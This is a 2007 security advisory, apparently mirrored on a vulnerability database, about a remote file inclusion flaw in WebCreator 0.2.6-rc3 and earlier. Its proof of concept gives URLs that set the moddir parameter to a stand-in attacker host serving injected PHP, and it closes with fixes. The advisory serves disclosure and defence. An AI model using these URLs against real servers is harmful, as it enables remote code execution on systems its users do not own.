WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability

🗓️ 15 Mar 2007 00:00:00Reported by RootType

WebCreator <= 0.2.6-rc3 Remote File Inclusion Vulnerability. Invalid include_once function at mods/content/load.inc.php allows for arbitrary PHP code execution. Sanitize variable $moddir in affected files


                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\\_&nbsp;&nbsp;&nbsp;_____/\\_&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\___&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
/_______&nbsp;&nbsp;/&nbsp;\\______&nbsp;&nbsp;/\\___|_&nbsp;&nbsp;/\\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_74$2007

-------------------------------------------------------------------------------------
[ECHO_ADV_74$2007]&nbsp;WebCreator&nbsp;<=&nbsp;0.2.6-rc3&nbsp;(moddir)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
--------------------------------------&nbsp;----------------------------------------------

Author		:&nbsp;Dedi&nbsp;Dwianto&nbsp;a.k.a&nbsp;the_day
Date&nbsp;Found	:&nbsp;March,&nbsp;13th&nbsp;2007
Location	:&nbsp;Indonesia,&nbsp;Jakarta
web		:&nbsp;http://advisories.echo.or.id/adv/adv74-theday-2007.txt
Critical&nbsp;Lvl	:&nbsp;Highly&nbsp;critical
Impact		:&nbsp;System&nbsp;access
Where		:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	:&nbsp;WebCreator
version		:&nbsp;<=&nbsp;0.2.6-rc3
URL		:&nbsp;http://webcreator.innoxia.cz/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

-&nbsp;Invalid&nbsp;include_once&nbsp;function&nbsp;at&nbsp;mods/content/load.inc.php
-----------------------mods/content/load.inc.php------------

<?
&nbsp;include_once($moddir&nbsp;.&nbsp;\'/functions.lib.php\');
?>

----------------------------------------------------------

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;\"$moddir\"&nbsp;parameter&nbsp;in&nbsp;load.inc.php&nbsp;is&nbsp;not
properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used.&nbsp;This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;execute
arbitrary&nbsp;PHP&nbsp;code&nbsp;by&nbsp;including&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external
resources.

also&nbsp;affected&nbsp;files&nbsp;:

config/load.inc.php
http/load.inc.php

and&nbsp;More&nbsp;....



Proof&nbsp;Of&nbsp;Concept:
~~~~~~~~~~~~~

http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt?
http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?


Solution:
~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$moddir&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~
~&nbsp;y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~&nbsp;Jessy&nbsp;Nice&nbsp;Girl
~&nbsp;az001,bomm_3x,matdhule,angelia
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;-&nbsp;#e-c-h-o&nbsp;@irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EcHo&nbsp;Research&nbsp;&&nbsp;Development&nbsp;Center
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://advisories.echo.or.id
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;erdc[at]echo[dot]or[dot]id
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the_day[at]echo[dot]or[dot]id
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
--------------------------------&nbsp;[&nbsp;EOF&nbsp;]----------------------------------

&nbsp;

15 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1